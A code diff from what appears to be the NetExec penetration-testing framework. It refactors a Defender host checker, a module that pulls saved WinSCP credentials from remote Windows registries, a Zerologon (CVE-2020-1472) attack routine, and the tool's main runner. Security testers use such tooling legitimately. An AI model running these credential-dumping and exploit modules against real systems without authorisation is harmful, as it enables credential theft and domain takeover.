reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
|
||||
if stop_on_error:
|
||||
ok = None
|
||||
return ok, reasons
|
||||
continue
|
||||
|
||||
if op(value, expected_value):
|
||||
@@ -483,8 +492,77 @@ class HostChecker:
|
||||
|
||||
return success, reasons
|
||||
|
||||
# Methods for getting values from the remote registry #
|
||||
#######################################################
|
||||
def get_exclusions(self, key_name):
|
||||
exclusions = []
|
||||
try:
|
||||
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
|
||||
for _, value_name, _ in values:
|
||||
exclusions.append(value_name)
|
||||
except Exception:
|
||||
self.context.log.debug("No defender exclusion policies")
|
||||
|
||||
return len(exclusions), exclusions
|
||||
|
||||
def check_defender_exclusion(self, *spec, options=None):
|
||||
try:
|
||||
if len(spec) == 2:
|
||||
(policy_key_name, key_name) = spec
|
||||
else:
|
||||
ok = False
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
reasons = []
|
||||
success = True
|
||||
|
||||
count, exclusions_p = self.get_exclusions(policy_key_name)
|
||||
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
|
||||
count_k, exclusions_k = self.get_exclusions(key_name)
|
||||
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
|
||||
count += count_k
|
||||
|
||||
if count > 0:
|
||||
success = False
|
||||
|
||||
return success, reasons
|
||||
|
||||
def check_defender_service(self):
|
||||
ok = True
|
||||
raised = False
|
||||
reasons = []
|
||||
try:
|
||||
service_config, service_status = self.get_service("windefend", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("windefend service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("windefend service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons = [f"windefend service check error({e})"]
|
||||
if ok is False or raised is True:
|
||||
try:
|
||||
service_config, service_status = self.get_service("sense", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("sense service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("sense service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons.append(f"sense service check error({e})")
|
||||
if raised is True:
|
||||
reasons_save = reasons
|
||||
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
|
||||
ok, reasons = self.check_registry(args)
|
||||
reasons.extend(reasons_save)
|
||||
|
||||
return ok, reasons
|
||||
|
||||
def _open_root_key(self, dce, connection, root_key):
|
||||
ans = None
|
||||
@@ -534,7 +612,7 @@ class HostChecker:
|
||||
break
|
||||
return subkeys
|
||||
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None):
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
|
||||
"""Query remote registry data for a given registry value"""
|
||||
|
||||
def subkey_values(subkey_handle):
|
||||
@@ -587,20 +665,15 @@ class HostChecker:
|
||||
|
||||
subkey_handle = ans["phkResult"]
|
||||
|
||||
if valueName is None:
|
||||
_, _, data = get_value(subkey_handle)
|
||||
if valueName is None and all_value is False:
|
||||
return get_value(subkey_handle)[2]
|
||||
elif valueName is None and all_value is True:
|
||||
return subkey_values(subkey_handle)
|
||||
else:
|
||||
found = False
|
||||
for _, name, _data in subkey_values(subkey_handle):
|
||||
for _, name, data in subkey_values(subkey_handle):
|
||||
if name.upper() == valueName.upper():
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
|
||||
return data
|
||||
|
||||
# Methods for getting values from SAMR and SCM #
|
||||
################################################
|
||||
return data
|
||||
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
|
||||
|
||||
def get_service(self, service_name, connection):
|
||||
"""Get the service status and configuration for specified service"""
|
||||
@@ -650,10 +723,6 @@ class HostChecker:
|
||||
return file_listing
|
||||
|
||||
|
||||
# Comparison operators #
|
||||
########################
|
||||
|
||||
|
||||
def le(reg_sz_string, number):
|
||||
return int(reg_sz_string[:-1]) <= number
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@ class NXCModule:
|
||||
|
||||
masterkeys = []
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -51,25 +51,19 @@ class NXCModule:
|
||||
context.log.highlight(f"UserName: {session[2]}")
|
||||
context.log.highlight(f"Password: {session[3]}")
|
||||
|
||||
def user_object_to_name_mapper(self, context, connection, allUserObjects):
|
||||
def user_object_to_name_mapper(self, context, connection, all_user_objects):
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
for userObject in allUserObjects:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
for user_object in all_user_objects:
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
self.userDict[userObject] = user_profile_path.split("\\")[-1]
|
||||
self.userDict[user_object] = user_profile_path.split("\\")[-1]
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
@@ -121,22 +115,14 @@ class NXCModule:
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
|
||||
|
||||
# ==================== Handle Registry ====================
|
||||
def registry_session_extractor(self, context, connection, userObject, sessionName):
|
||||
def registry_session_extractor(self, context, connection, user_object, sessionName):
|
||||
"""Extract Session information from registry"""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
|
||||
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
|
||||
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
|
||||
try:
|
||||
@@ -162,18 +148,13 @@ class NXCModule:
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all logged in and loaded Users on System
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
@@ -195,22 +176,13 @@ class NXCModule:
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
@@ -222,86 +194,65 @@ class NXCModule:
|
||||
remote_ops.finish()
|
||||
return user_objects
|
||||
|
||||
def load_missing_users(self, context, connection, unloadedUserObjects):
|
||||
def load_missing_users(self, context, connection, unloaded_user_objects):
|
||||
"""Extract Information for not logged in Users and then loads them into registry."""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
|
||||
rrp.hBaseRegLoadKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
userObject,
|
||||
user_profile_path + "\\" + "NTUSER.DAT",
|
||||
)
|
||||
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
def unload_missing_users(self, context, connection, unloadedUserObjects):
|
||||
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
|
||||
def unload_missing_users(self, context, connection, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Unload Profile
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
||||
for user_object in unloaded_user_objects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
|
||||
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
|
||||
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
def check_masterpassword_set(self, connection, userObject):
|
||||
def check_masterpassword_set(self, context, connection, user_object):
|
||||
use_master_password = False
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
|
||||
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("Security configuration registry not found, no master passwords set at all.")
|
||||
else:
|
||||
context.log.exception(e)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
return use_master_password
|
||||
@@ -309,7 +260,7 @@ class NXCModule:
|
||||
def registry_discover(self, context, connection):
|
||||
context.log.display("Looking for WinSCP creds in Registry...")
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
@@ -321,39 +272,29 @@ class NXCModule:
|
||||
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
|
||||
self.load_missing_users(context, connection, unloaded_user_objects)
|
||||
|
||||
# Retrieve how many sessions are stored in registry from each UserObject
|
||||
# Retrieve how many sessions are stored in registry from each user_object
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
for userObject in all_user_objects:
|
||||
for user_object in all_user_objects:
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
sessions = data["lpcSubKeys"]
|
||||
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
|
||||
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
session_names.remove("Default%20Settings")
|
||||
|
||||
if self.check_masterpassword_set(connection, userObject):
|
||||
if self.check_masterpassword_set(context, connection, user_object):
|
||||
context.log.fail("MasterPassword set! Aborting extraction...")
|
||||
continue
|
||||
# Extract stored Session infos
|
||||
for sessionName in session_names:
|
||||
self.print_creds(
|
||||
context,
|
||||
self.registry_session_extractor(context, connection, userObject, sessionName),
|
||||
)
|
||||
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
|
||||
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
@@ -26,7 +26,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
|
||||
self.context.log.highlight("VULNERABLE")
|
||||
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
|
||||
try:
|
||||
@@ -43,13 +43,15 @@ class NXCModule:
|
||||
except Exception:
|
||||
self.context.log.debug("Error updating zerologon status in database")
|
||||
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer):
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
self.context.log.debug("Performing authentication attempts...")
|
||||
rpc_con = None
|
||||
try:
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
|
||||
rpc_con_.setRemoteHost(remoteHost)
|
||||
rpc_con = rpc_con_.get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
for _attempt in range(MAX_ATTEMPTS):
|
||||
|
||||
+29
-52
@@ -12,6 +12,7 @@ from nxc.paths import NXC_PATH
|
||||
from nxc.console import nxc_console
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
|
||||
from nxc.database import create_db_engine
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import asyncio
|
||||
from nxc.helpers import powershell
|
||||
@@ -20,10 +21,10 @@ import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
import logging
|
||||
import sqlalchemy
|
||||
from rich.progress import Progress
|
||||
import platform
|
||||
if sys.stdout.encoding == "cp1252":
|
||||
sys.stdout.reconfigure(encoding="utf-8")
|
||||
|
||||
# Increase file_limit to prevent error "Too many open files"
|
||||
if platform.system() != "Windows":
|
||||
@@ -38,19 +39,15 @@ if platform.system() != "Windows":
|
||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
async def start_run(protocol_obj, args, db, targets):
|
||||
futures = []
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
_ = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
else:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
@@ -62,23 +59,17 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
for _ in as_completed(futures):
|
||||
current += 1
|
||||
progress.update(tasks, completed=current)
|
||||
for future in as_completed(futures):
|
||||
try:
|
||||
future.result()
|
||||
except Exception:
|
||||
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
|
||||
|
||||
|
||||
def main():
|
||||
first_run_setup(nxc_logger)
|
||||
root_logger = logging.getLogger("root")
|
||||
args = gen_cli_args()
|
||||
|
||||
if args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added)
|
||||
# but this should never happen by accident
|
||||
if config_log:
|
||||
@@ -86,8 +77,8 @@ def main():
|
||||
if hasattr(args, "log") and args.log:
|
||||
nxc_logger.add_file_log(args.log)
|
||||
|
||||
nxc_logger.debug("PYTHON VERSION: " + sys.version)
|
||||
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
|
||||
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
|
||||
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
|
||||
nxc_logger.debug(f"Passed args: {args}")
|
||||
|
||||
# FROM HERE ON A PROTOCOL IS REQUIRED
|
||||
@@ -150,7 +141,7 @@ def main():
|
||||
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
|
||||
|
||||
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}")
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
|
||||
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
|
||||
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
@@ -183,13 +174,15 @@ def main():
|
||||
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
exit(0)
|
||||
elif args.module:
|
||||
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||
for m in map(str.lower, args.module):
|
||||
# Check the modules for sanity before loading the protocol
|
||||
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
|
||||
proto_module_paths = []
|
||||
for m in args.module:
|
||||
if m not in modules:
|
||||
nxc_logger.error(f"Module not found: {m}")
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
|
||||
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
|
||||
module = loader.init_module(modules[m]["path"])
|
||||
|
||||
if not module.opsec_safe:
|
||||
@@ -197,22 +190,12 @@ def main():
|
||||
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
|
||||
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
|
||||
else:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
if not module.multiple_hosts and len(targets) > 1:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
@@ -223,24 +206,18 @@ def main():
|
||||
if not args.server_port:
|
||||
args.server_port = server_port_dict[args.server]
|
||||
|
||||
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
|
||||
# get currently set modules, otherwise default to empty list
|
||||
current_modules = getattr(protocol_object, "module", [])
|
||||
current_modules.append(module)
|
||||
protocol_object.module = current_modules
|
||||
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
|
||||
# Add modules paths to the protocol object so it can load them itself
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if hasattr(args, "ntds") and args.ntds and not args.userntds:
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
if args.jitter and len(targets) > 1:
|
||||
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
|
||||
|
||||
try:
|
||||
asyncio.run(start_run(protocol_object, args, db, targets))
|
||||
except KeyboardInterrupt:
|
||||
|
||||
+56
-87
@@ -1,31 +1,25 @@
|
||||
import cmd
|
||||
import configparser
|
||||
import csv
|
||||
import sys
|
||||
import os
|
||||
import argparse
|
||||
from os import listdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from textwrap import dedent
|
||||
|
||||
from requests import get, post, ConnectionError
|
||||
from sqlalchemy import create_engine
|
||||
from terminaltables import AsciiTable
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
|
||||
from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
|
||||
